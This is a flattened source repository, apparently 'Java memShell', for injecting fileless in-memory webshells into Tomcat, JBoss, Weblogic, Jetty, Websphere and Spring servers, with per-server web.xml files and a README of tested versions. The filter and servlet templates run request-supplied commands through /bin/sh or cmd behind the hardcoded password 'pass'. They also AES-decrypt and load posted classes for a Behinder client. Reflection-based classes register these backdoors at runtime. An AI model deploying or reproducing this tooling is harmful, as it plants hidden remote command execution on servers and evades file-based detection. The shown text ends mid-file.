├── .gitignore
├── memShell.iml
├── src
└── main
│ ├── webapp
│ ├── index.jsp
│ ├── WEB-INF
│ │ ├── jsp
│ │ │ ├── failed.jsp
│ │ │ └── success.jsp
│ │ ├── applicationContext.xml
│ │ ├── web.xml
│ │ ├── web.xml-ForSpring
│ │ ├── web.xml-ForWeblogic
│ │ ├── dispatcher-servlet.xml
│ │ ├── web.xml-JBoss
│ │ ├── web.xml-ForWebsphere
│ │ ├── web.xml-ForJetty
│ │ └── web.xml-ForTomcat
│ └── tomcat.jsp
│ └── java
│ └── com
│ └── memshell
│ ├── generic
│ ├── MyClassLoader.java
│ ├── Config.java
│ ├── BasicFilter.java
│ ├── Printer.java
│ ├── ServletTemplate.java
│ ├── FilterTemplate.java
│ ├── DynamicControllerTemplate.java
│ ├── DynamicServletTemplate.java
│ ├── DynamicFilterTemplate.java
│ └── Util.java
│ ├── jboss
│ ├── FilterBasedWithoutRequest.java
│ └── ServletBasedWithoutRequest.java
│ ├── tomcat
│ ├── ServletBasedBasic.java
│ ├── ServletBasedWithoutRequest.java
│ ├── ServletBasedWithoutRequestVariant.java
│ ├── FilterBasedBasic.java
│ ├── FilterBasedWithoutRequestVariant.java
│ └── FilterBasedWithoutRequest.java
│ ├── spring
│ └── ControllerBased.java
│ ├── weblogic
│ ├── FilterBasedBasic.java
│ └── FilterBasedWithoutRequest.java
│ ├── websphere
│ ├── FilterBasedBasic.java
│ ├── FilterBasedWithoutRequest.java
│ └── FilterBasedWithoutRequestVariant.java
│ └── jetty
│ ├── FilterBasedWithoutRequest.java
│ ├── FilterBasedWithoutRequestVariant.java
│ ├── ServletBasedWithoutRequest.java
│ └── ServletBasedWithoutRequestVariant.java
├── README.md
└── pom.xml
/.gitignore:
--------------------------------------------------------------------------------
1 | /target/
2 | /out/
3 |
--------------------------------------------------------------------------------
/memShell.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/generic/MyClassLoader.java:
--------------------------------------------------------------------------------
1 | package com.memshell.generic;
2 |
3 | public class MyClassLoader extends ClassLoader {
4 | MyClassLoader(ClassLoader c){super(c);}
5 |
6 |
7 | public static Class defineClass(byte[] bytes, ClassLoader classLoader){
8 | return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/jsp/failed.jsp:
--------------------------------------------------------------------------------
1 | <%--
2 | Created by IntelliJ IDEA.
3 | User: 41157
4 | Date: 2020/10/18
5 | Time: 12:29
6 | To change this template use File | Settings | File Templates.
7 | --%>
8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
9 |
10 |
11 | OK
12 |
13 |
14 | Failed
15 |
16 |
17 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/applicationContext.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/jsp/success.jsp:
--------------------------------------------------------------------------------
1 | <%--
2 | Created by IntelliJ IDEA.
3 | User: 41157
4 | Date: 2020/10/18
5 | Time: 12:29
6 | To change this template use File | Settings | File Templates.
7 | --%>
8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
9 |
10 |
11 | OK
12 |
13 |
14 | Success
15 |
16 |
17 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/generic/Config.java:
--------------------------------------------------------------------------------
1 | package com.memshell.generic;
2 |
3 | public class Config {
4 | private final static String basicCmdShellPwd = "pass";
5 | private final static String behinderShellHeader = "X-Options-Ai";
6 | private final static String behinderShellPwd = "e45e329feb5d925b"; // rebeyond
7 |
8 | public static String getPassword(){
9 | return basicCmdShellPwd;
10 | }
11 |
12 | public static String getHeader(){
13 | return behinderShellHeader;
14 | }
15 |
16 | public static String getBehinderShellPwdPwd(){
17 | return behinderShellPwd;
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/generic/BasicFilter.java:
--------------------------------------------------------------------------------
1 | package com.memshell.generic;
2 |
3 | import javax.servlet.*;
4 | import java.io.IOException;
5 |
6 | public class BasicFilter implements Filter {
7 | @Override
8 | public void init(FilterConfig filterConfig) throws ServletException {
9 |
10 | }
11 |
12 | @Override
13 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
14 | System.out.println("[+]Basic Filter invoked...");
15 | chain.doFilter(request, response);
16 | }
17 |
18 | @Override
19 | public void destroy() {
20 |
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/generic/Printer.java:
--------------------------------------------------------------------------------
1 | package com.memshell.generic;
2 |
3 | import sun.misc.BASE64Encoder;
4 | import java.io.FileInputStream;
5 | import java.io.IOException;
6 |
7 | public class Printer {
8 |
9 | public static void main(String[] args) throws IOException {
10 |
11 | String path = "G:\\code\\java\\memShell\\target\\classes\\com\\memshell\\generic\\DynamicControllerTemplate.class";
12 | FileInputStream in = new FileInputStream(path);
13 | byte[] bytes = new byte[in.available()];
14 | in.read(bytes);
15 |
16 | BASE64Encoder encoder = new BASE64Encoder();
17 | String base64String = encoder.encode(bytes).replaceAll("\r\n|\r|\n","");
18 | System.out.println(base64String);
19 | in.close();
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 | contextConfigLocation
8 | /WEB-INF/applicationContext.xml
9 |
10 |
11 | org.springframework.web.context.ContextLoaderListener
12 |
13 |
14 | dispatcher
15 | org.springframework.web.servlet.DispatcherServlet
16 | 1
17 |
18 |
19 | dispatcher
20 | /
21 |
22 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/web.xml-ForSpring:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 | contextConfigLocation
8 | /WEB-INF/applicationContext.xml
9 |
10 |
11 | org.springframework.web.context.ContextLoaderListener
12 |
13 |
14 | dispatcher
15 | org.springframework.web.servlet.DispatcherServlet
16 | 1
17 |
18 |
19 | dispatcher
20 | /
21 |
22 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/web.xml-ForWeblogic:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 | Archetype Created Web Application
7 |
8 |
9 | WeblogicCase1
10 | com.memshell.weblogic.FilterBasedBasic
11 |
12 |
13 |
14 | WeblogicCase1
15 | /case1
16 |
17 |
18 |
19 | WeblogicCase2
20 | com.memshell.weblogic.FilterBasedWithoutRequest
21 |
22 |
23 |
24 | WeblogicCase2
25 | /case2
26 |
27 |
28 |
29 | TestFilter
30 | com.memshell.generic.BasicFilter
31 |
32 |
33 |
34 | TestFilter
35 | /*
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/dispatcher-servlet.xml:
--------------------------------------------------------------------------------
1 |
2 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Java memShell
2 |
3 | ### Supported Middleware
4 | - [x] Tomcat
5 | Tested on 7.0.34, 7.0.54, 7.0.70, 7.0.96, 7.0.104, 8.0.18, 8.0.32, 8.0.48, 8.5.12, 8.5.30, 8.5.56, 9.0.16, 9.0.33
6 | - [x] Weblogic
7 | Tested on 10.3.6.0, 12.1.3.0.0
8 | - [x] JBoss/Wildfly
9 | Tested on 8.0.0.Final, 18.0.0.Final, 21.0.0.Beta1
10 | - [x] Jetty
11 | Tested on 9.4.30.v20200611, 9.3.28.v20191105, 9.2.29.v20191105, 9.1.6.v20160112, failed on earlier versions
12 | - [x] Websphere
13 | Tested on Websphere Applicaton Server v8.5 and v9.0
14 | - [x] Spring (not a middleware but a framework)
15 | Tested on SpringMVC 5.2.10.RELEASE, 5.0.8.RELEASE, 4.3.28.RELEASE, 4.0.5.RELEASE, 3.2.3.RELEASE, 3.0.5.RELEASE
16 |
17 | ## Reference
18 | [Tomcat源代码调试:看不见的Shell第一式](https://www.freebuf.com/articles/web/151431.html)
19 | [基于tomcat的内存 Webshell 无文件攻击技术](https://xz.aliyun.com/t/7388)
20 | [动态注册之Servlet+Filter+Listener](https://www.jianshu.com/p/cbe1c3174d41)
21 | [基于Tomcat无文件Webshell研究](https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA)
22 | [tomcat不出网回显连续剧第六集](https://xz.aliyun.com/t/7535)
23 | [tomcat结合shiro无文件webshell的技术研究以及检测方法](https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg)
24 | [冰蝎改造之适配基于tomcat Filter的无文件webshell](https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ)
25 |
26 | If you hava any suggestions, feel free to open an ```issue``` or send me email at ```huangfeihong_cs@163.com```
27 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/web.xml-JBoss:
--------------------------------------------------------------------------------
1 |
4 |
5 |
9 | Archetype Created Web Application
10 |
11 |
12 | JBossCase1
13 | com.memshell.jboss.FilterBasedWithoutRequest
14 |
15 |
16 |
17 | JBossCase1
18 | /case1
19 |
20 |
21 |
22 | JBossCase2
23 | com.memshell.jboss.ServletBasedWithoutRequest
24 |
25 |
26 |
27 | JBossCase2
28 | /case2
29 |
30 |
31 |
32 | TestFilter
33 | com.memshell.generic.BasicFilter
34 |
35 |
36 |
37 | TestFilter
38 | /*
39 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/web.xml-ForWebsphere:
--------------------------------------------------------------------------------
1 |
4 |
5 |
9 | Archetype Created Web Application
10 |
11 |
12 | WebsphereCase1
13 | com.memshell.websphere.FilterBasedBasic
14 |
15 |
16 |
17 | WebsphereCase1
18 | /case1
19 |
20 |
21 |
22 | WebsphereCase2
23 | com.memshell.websphere.FilterBasedWithoutRequest
24 |
25 |
26 |
27 | WebsphereCase2
28 | /case2
29 |
30 |
31 |
32 | WebsphereCase3
33 | com.memshell.websphere.FilterBasedWithoutRequestVariant
34 |
35 |
36 |
37 | WebsphereCase3
38 | /case3
39 |
40 |
41 |
42 | TestFilter
43 | com.memshell.generic.BasicFilter
44 |
45 |
46 |
47 | TestFilter
48 | /*
49 |
50 |
51 |
52 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/web.xml-ForJetty:
--------------------------------------------------------------------------------
1 |
4 |
5 |
9 | Archetype Created Web Application
10 |
11 |
12 | JettyCase1
13 | com.memshell.jetty.FilterBasedWithoutRequest
14 |
15 |
16 |
17 | JettyCase1
18 | /case1
19 |
20 |
21 |
22 | JettyCase2
23 | com.memshell.jetty.ServletBasedWithoutRequest
24 |
25 |
26 |
27 | JettyCase2
28 | /case2
29 |
30 |
31 |
32 | JettyCase3
33 | com.memshell.jetty.FilterBasedWithoutRequestVariant
34 |
35 |
36 |
37 | JettyCase3
38 | /case3
39 |
40 |
41 |
42 | JettyCase4
43 | com.memshell.jetty.ServletBasedWithoutRequestVariant
44 |
45 |
46 |
47 | JettyCase4
48 | /case4
49 |
50 |
51 |
52 | TestFilter
53 | com.memshell.generic.BasicFilter
54 |
55 |
56 |
57 | TestFilter
58 | /*
59 |
60 |
61 |
62 |
--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/web.xml-ForTomcat:
--------------------------------------------------------------------------------
1 |
4 |
5 |
9 | Archetype Created Web Application
10 |
11 |
12 | TomcatCase1
13 | com.memshell.tomcat.FilterBasedBasic
14 |
15 |
16 |
17 | TomcatCase1
18 | /case1
19 |
20 |
21 |
22 | TomcatCase2
23 | com.memshell.tomcat.FilterBasedWithoutRequest
24 |
25 |
26 |
27 | TomcatCase2
28 | /case2
29 |
30 |
31 |
32 | TomcatCase3
33 | com.memshell.tomcat.FilterBasedWithoutRequestVariant
34 |
35 |
36 |
37 | TomcatCase3
38 | /case3
39 |
40 |
41 |
42 | TomcatCase4
43 | com.memshell.tomcat.ServletBasedBasic
44 |
45 |
46 |
47 | TomcatCase4
48 | /case4
49 |
50 |
51 |
52 | TomcatCase5
53 | com.memshell.tomcat.ServletBasedWithoutRequest
54 |
55 |
56 |
57 | TomcatCase5
58 | /case5
59 |
60 |
61 |
62 | TomcatCase6
63 | com.memshell.tomcat.ServletBasedWithoutRequestVariant
64 |
65 |
66 |
67 | TomcatCase6
68 | /case6
69 |
70 |
71 |
72 | TestFilter
73 | com.memshell.generic.BasicFilter
74 |
75 |
76 |
77 | TestFilter
78 | /*
79 |
80 |
81 |
82 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/jboss/FilterBasedWithoutRequest.java:
--------------------------------------------------------------------------------
1 | package com.memshell.jboss;
2 |
3 | import com.memshell.generic.Util;
4 | import io.undertow.servlet.api.DeploymentInfo;
5 | import io.undertow.servlet.api.FilterInfo;
6 | import io.undertow.servlet.core.DeploymentImpl;
7 | import io.undertow.servlet.spec.HttpServletRequestImpl;
8 | import io.undertow.servlet.util.ConstructorInstanceFactory;
9 | import javax.security.jacc.PolicyContext;
10 | import javax.servlet.DispatcherType;
11 | import javax.servlet.Filter;
12 | import javax.servlet.ServletContext;
13 | import javax.servlet.http.HttpServlet;
14 | import javax.servlet.http.HttpServletRequest;
15 | import javax.servlet.http.HttpServletResponse;
16 | import java.lang.reflect.Field;
17 | import java.lang.reflect.Modifier;
18 | import java.util.Map;
19 |
20 | public class FilterBasedWithoutRequest extends HttpServlet {
21 | @Override
22 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
23 | // 参考:
24 | // 《Dynamic Servlet Registration》 http://www.mastertheboss.com/javaee/servlet-30/dynamic-servlet-registration
25 | // 《JBOSS 无文件webshell的技术研究》 https://mp.weixin.qq.com/s/_SQS9B7tkL1H5fMIgPTOKw
26 |
27 | try{
28 | String filterName = "jbossFilter";
29 | String urlPattern = "/666";
30 |
31 | HttpServletRequestImpl request = (HttpServletRequestImpl) PolicyContext.getContext("javax.servlet.http.HttpServletRequest");
32 | ServletContext context = request.getServletContext();
33 | Field f = context.getClass().getDeclaredField("deploymentInfo");
34 | f.setAccessible(true);
35 | DeploymentInfo deploymentInfo = (DeploymentInfo)f.get(context);
36 |
37 | //只添加一次
38 | Map filters = deploymentInfo.getFilters();
39 | if(!filters.containsKey(filterName)){
40 | System.out.println("[+] Add Dynamic Filter");
41 |
42 | Class clazz = Util.getDynamicFilterTemplateClass();
43 | FilterInfo filter = new FilterInfo(filterName, clazz, new ConstructorInstanceFactory(clazz.getDeclaredConstructor()));
44 | deploymentInfo.addFilter(filter);
45 |
46 | f = context.getClass().getDeclaredField("deployment");
47 | f.setAccessible(true);
48 | Field modifiersField = Field.class.getDeclaredField("modifiers");
49 | modifiersField.setAccessible(true);
50 | modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
51 | DeploymentImpl deployment = (DeploymentImpl)f.get(context);
52 | deployment.getFilters().addFilter(filter);
53 |
54 | // 0 表示把我们动态注册的 filter 放在第一位
55 | deploymentInfo.insertFilterUrlMapping(0, filterName, urlPattern, DispatcherType.REQUEST);
56 | }
57 | }catch(Exception e){
58 | e.printStackTrace();
59 | }
60 | }
61 | }
62 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/generic/ServletTemplate.java:
--------------------------------------------------------------------------------
1 | package com.memshell.generic;
2 |
3 | import javax.crypto.Cipher;
4 | import javax.crypto.spec.SecretKeySpec;
5 | import javax.servlet.ServletRequest;
6 | import javax.servlet.ServletResponse;
7 | import javax.servlet.http.HttpServlet;
8 | import javax.servlet.http.HttpServletRequest;
9 | import javax.servlet.http.HttpServletResponse;
10 | import java.io.File;
11 | import java.io.IOException;
12 | import java.lang.reflect.Method;
13 | import java.util.Scanner;
14 |
15 | public class ServletTemplate extends HttpServlet {
16 | @Override
17 | protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
18 | System.out.println("[+] Dynamic Servlet says hello");
19 |
20 | if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){
21 | //basic cmd shell
22 | String cmd = request.getParameter(Config.getPassword());
23 | if(cmd != null && !cmd.isEmpty()){
24 | String[] cmds = null;
25 | if(File.separator.equals("/")){
26 | cmds = new String[]{"/bin/sh", "-c", cmd};
27 | }else{
28 | cmds = new String[]{"cmd", "/C", cmd};
29 | }
30 | String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
31 | response.getWriter().println(result);
32 | }
33 | }else if(request.getHeader(Config.getHeader()) != null){
34 | //behind3 shell
35 | try{
36 | if (request.getMethod().equals("POST")){
37 | String k = Config.getBehinderShellPwdPwd();
38 | request.getSession().setAttribute("u",k);
39 | Cipher cipher = Cipher.getInstance("AES");
40 | cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES"));
41 | byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
42 | Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
43 | Object evilObject = evilClass.newInstance();
44 | Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
45 | targetMethod.invoke(evilObject, new Object[]{request, response});
46 | }
47 | }catch(Exception e){
48 | e.printStackTrace();
49 | }
50 | }
51 | }
52 |
53 | @Override
54 | protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
55 | doPost(request, response);
56 | }
57 |
58 | class U extends ClassLoader{
59 | U(ClassLoader c){super(c);}
60 |
61 | public Class g(byte []b){return super.defineClass(b,0,b.length);}
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/tomcat/ServletBasedBasic.java:
--------------------------------------------------------------------------------
1 | package com.memshell.tomcat;
2 |
3 | import com.memshell.generic.ServletTemplate;
4 | import org.apache.catalina.Wrapper;
5 | import org.apache.catalina.core.ApplicationContext;
6 | import org.apache.catalina.core.ApplicationServletRegistration;
7 | import org.apache.catalina.core.StandardContext;
8 | import javax.servlet.*;
9 | import javax.servlet.http.HttpServlet;
10 | import javax.servlet.http.HttpServletRequest;
11 | import javax.servlet.http.HttpServletResponse;
12 | import java.lang.reflect.Field;
13 | import java.lang.reflect.Modifier;
14 |
15 | public class ServletBasedBasic extends HttpServlet {
16 | @Override
17 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
18 | // 参考:
19 | // 《Tomcat源代码调试:看不见的Shell第一式》 https://www.freebuf.com/articles/web/151431.html
20 | // 《基于tomcat的内存 Webshell 无文件攻击技术》 https://xz.aliyun.com/t/7388
21 | // 《动态注册之Servlet+Filter+Listener》 https://www.jianshu.com/p/cbe1c3174d41
22 | // 《基于Tomcat无文件Webshell研究》 https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA
23 | // 《tomcat不出网回显连续剧第六集》 https://xz.aliyun.com/t/7535
24 | // 《tomcat结合shiro无文件webshell的技术研究以及检测方法》 https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg
25 | //
26 | // 适用范围: Tomcat 7 ~ 9
27 |
28 | try{
29 | String servrletName = "myServlet1";
30 | String urlPattern = "/xxx";
31 |
32 | // 获取 standardContext
33 | ServletContext servletContext = req.getServletContext();
34 | Field field = servletContext.getClass().getDeclaredField("context");
35 | field.setAccessible(true);
36 | ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
37 |
38 | field = applicationContext.getClass().getDeclaredField("context");
39 | field.setAccessible(true);
40 | Field modifiersField = Field.class.getDeclaredField("modifiers");
41 | modifiersField.setAccessible(true);
42 | modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
43 | StandardContext standardContext = (StandardContext) field.get(applicationContext);
44 |
45 | if(standardContext.findChild(servrletName) == null){
46 | System.out.println("[+] Add Dynamic Servlet");
47 |
48 | Wrapper wrapper = standardContext.createWrapper();
49 | wrapper.setName(servrletName);
50 | standardContext.addChild(wrapper);
51 | Servlet servlet = new ServletTemplate();
52 |
53 | wrapper.setServletClass(servlet.getClass().getName());
54 | wrapper.setServlet(servlet);
55 | ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext);
56 | registration.addMapping(urlPattern);
57 | }
58 | }catch(Exception e){
59 | e.printStackTrace();
60 | }
61 | }
62 | }
--------------------------------------------------------------------------------
/src/main/java/com/memshell/jboss/ServletBasedWithoutRequest.java:
--------------------------------------------------------------------------------
1 | package com.memshell.jboss;
2 |
3 | import com.memshell.generic.Util;
4 | import io.undertow.servlet.api.DeploymentInfo;
5 | import io.undertow.servlet.api.ServletInfo;
6 | import io.undertow.servlet.core.DeploymentImpl;
7 | import io.undertow.servlet.handlers.ServletHandler;
8 | import io.undertow.servlet.spec.HttpServletRequestImpl;
9 | import io.undertow.servlet.spec.ServletRegistrationImpl;
10 | import io.undertow.servlet.util.ConstructorInstanceFactory;
11 | import javax.security.jacc.PolicyContext;
12 | import javax.servlet.Servlet;
13 | import javax.servlet.ServletContext;
14 | import javax.servlet.http.HttpServlet;
15 | import javax.servlet.http.HttpServletRequest;
16 | import javax.servlet.http.HttpServletResponse;
17 | import java.lang.reflect.Field;
18 | import java.lang.reflect.Modifier;
19 | import java.util.Map;
20 |
21 | public class ServletBasedWithoutRequest extends HttpServlet {
22 | @Override
23 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
24 | // 参考:
25 | // 《Dynamic Servlet Registration》 http://www.mastertheboss.com/javaee/servlet-30/dynamic-servlet-registration
26 | // 《JBOSS 无文件webshell的技术研究》 https://mp.weixin.qq.com/s/_SQS9B7tkL1H5fMIgPTOKw
27 |
28 | try{
29 | String servletName = "jbossServlet";
30 | String urlPattern = "/999";
31 |
32 | HttpServletRequestImpl request = (HttpServletRequestImpl) PolicyContext.getContext("javax.servlet.http.HttpServletRequest");
33 | ServletContext context = request.getServletContext();
34 | Field f = context.getClass().getDeclaredField("deploymentInfo");
35 | f.setAccessible(true);
36 | DeploymentInfo deploymentInfo = (DeploymentInfo)f.get(context);
37 |
38 | //只添加一次
39 | Map servlets = deploymentInfo.getServlets();
40 | if(!servlets.containsKey(servletName)){
41 | System.out.println("[+] Add Dynamic Servlet");
42 |
43 | Class clazz = Util.getDynamicServletTemplateClass();
44 | ServletInfo servletInfo = new ServletInfo(servletName, clazz, new ConstructorInstanceFactory(clazz.getDeclaredConstructor()));
45 | deploymentInfo.addServlet(servletInfo);
46 |
47 | f = context.getClass().getDeclaredField("deployment");
48 | f.setAccessible(true);
49 | Field modifiersField = Field.class.getDeclaredField("modifiers");
50 | modifiersField.setAccessible(true);
51 | modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
52 | DeploymentImpl deployment = (DeploymentImpl)f.get(context);
53 | ServletHandler handler = deployment.getServlets().addServlet(servletInfo);
54 |
55 | ServletRegistrationImpl registration = new ServletRegistrationImpl(servletInfo, handler.getManagedServlet(), deployment);
56 | registration.addMapping(urlPattern);
57 | }
58 | }catch(Exception e){
59 | e.printStackTrace();
60 | }
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/generic/FilterTemplate.java:
--------------------------------------------------------------------------------
1 | package com.memshell.generic;
2 |
3 | import javax.crypto.Cipher;
4 | import javax.crypto.spec.SecretKeySpec;
5 | import javax.servlet.*;
6 | import javax.servlet.http.HttpServletRequest;
7 | import java.io.File;
8 | import java.io.IOException;
9 | import java.lang.reflect.Method;
10 | import java.util.Scanner;
11 |
12 | public class FilterTemplate implements Filter {
13 | @Override
14 | public void init(FilterConfig filterConfig) throws ServletException {
15 |
16 | }
17 |
18 | @Override
19 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
20 | System.out.println("[+] Dynamic Filter says hello");
21 |
22 | if(servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")){
23 | //basic cmd shell
24 | String cmd = servletRequest.getParameter(Config.getPassword());
25 | if(cmd != null && !cmd.isEmpty()){
26 | String[] cmds = null;
27 | if(File.separator.equals("/")){
28 | cmds = new String[]{"/bin/sh", "-c", cmd};
29 | }else{
30 | cmds = new String[]{"cmd", "/C", cmd};
31 | }
32 | String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
33 | servletResponse.getWriter().println(result);
34 | }
35 | }else if(((HttpServletRequest)servletRequest).getHeader(Config.getHeader()) != null){
36 | //behind3 shell
37 | try{
38 | if (((HttpServletRequest)servletRequest).getMethod().equals("POST")){
39 | String k = Config.getBehinderShellPwdPwd();
40 | ((HttpServletRequest)servletRequest).getSession().setAttribute("u",k);
41 | Cipher cipher = Cipher.getInstance("AES");
42 | cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
43 | byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine()));
44 | Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
45 | Object evilObject = evilClass.newInstance();
46 | Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
47 | targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse});
48 | }
49 | }catch(Exception e){
50 | e.printStackTrace();
51 | }
52 | }else{
53 | filterChain.doFilter(servletRequest, servletResponse);
54 | }
55 | }
56 |
57 | @Override
58 | public void destroy() {
59 |
60 | }
61 |
62 | class U extends ClassLoader{
63 | U(ClassLoader c){super(c);}
64 |
65 | public Class g(byte []b){return super.defineClass(b,0,b.length);}
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/src/main/java/com/memshell/tomcat/ServletBasedWithoutRequest.java:
--------------------------------------------------------------------------------
1 | package com.memshell.tomcat;
2 |
3 | import com.memshell.generic.ServletTemplate;
4 | import com.sun.jmx.mbeanserver.NamedObject;
5 | import com.sun.jmx.mbeanserver.Repository;
6 | import org.apache.catalina.Wrapper;
7 | import org.apache.catalina.core.ApplicationServletRegistration;
8 | import org.apache.catalina.core.StandardContext;
9 | import org.apache.tomcat.util.modeler.Registry;
10 | import javax.management.DynamicMBean;
11 | import javax.management.MBeanServer;
12 | import javax.management.ObjectName;
13 | import javax.servlet.*;
14 | import javax.servlet.http.HttpServlet;
15 | import javax.servlet.http.HttpServletRequest;
16 | import javax.servlet.http.HttpServletResponse;
17 | import java.lang.reflect.Field;
18 | import java.util.Set;
19 |
20 | public class ServletBasedWithoutRequest extends HttpServlet {
21 | @Override
22 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
23 | try{
24 | String servrletName = "myServlet2";
25 | String urlPattern = "/yyy";
26 |
27 | MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
28 | Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
29 | field.setAccessible(true);
30 | Object obj = field.get(mbeanServer);
31 |
32 | field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
33 | field.setAccessible(true);
34 | Repository repository = (Repository) field.get(obj);
35 |
36 | Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
37 | for(NamedObject namedObject : objectSet){
38 | try{
39 | DynamicMBean dynamicMBean = namedObject.getObject();
40 | field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
41 | field.setAccessible(true);
42 | obj = field.get(dynamicMBean);
43 |
44 | field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
45 | field.setAccessible(true);
46 | StandardContext standardContext = (StandardContext)field.get(obj);
47 |
48 | if(standardContext.findChild(servrletName) == null){
49 | System.out.println("[+] Add Dynamic Servlet");
50 |
51 | Wrapper wrapper = standardContext.createWrapper();
52 | wrapper.setName(servrletName);
53 | standardContext.addChild(wrapper);
54 | Servlet servlet = new ServletTemplate();
55 | wrapper.setServletClass(servlet.getClass().getName());
56 | wrapper.setServlet(servlet);
57 | ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext);
58 | registration.addMapping(urlPattern);
59 | }
60 | }catch(Exception e){
61 | //pass
62 | }
63 | }
64 | }catch(Exception e){
65 | e.printStackTrace();
66 | }
67 | }
68 | }
--------------------------------------------------------------------------------
/src/main/java/com/memshell/tomcat/ServletBasedWithoutRequestVariant.java:
--------------------------------------------------------------------------------
1 | package com.memshell.tomcat;
2 |
3 | import com.memshell.generic.Util;
4 | import com.sun.jmx.mbeanserver.NamedObject;
5 | import com.sun.jmx.mbeanserver.Repository;
6 | import org.apache.catalina.Wrapper;
7 | import org.apache.catalina.core.ApplicationServletRegistration;
8 | import org.apache.catalina.core.StandardContext;
9 | import org.apache.tomcat.util.modeler.Registry;
10 | import javax.management.DynamicMBean;
11 | import javax.management.MBeanServer;
12 | import javax.management.ObjectName;
13 | import javax.servlet.*;
14 | import javax.servlet.http.HttpServlet;
15 | import javax.servlet.http.HttpServletRequest;
16 | import javax.servlet.http.HttpServletResponse;
17 | import java.lang.reflect.Field;
18 | import java.util.Set;
19 |
20 | public class ServletBasedWithoutRequestVariant extends HttpServlet {
21 | @Override
22 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
23 | try{
24 | String servrletName = "myServlet3";
25 | String urlPattern = "/zzz";
26 |
27 | MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
28 | Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
29 | field.setAccessible(true);
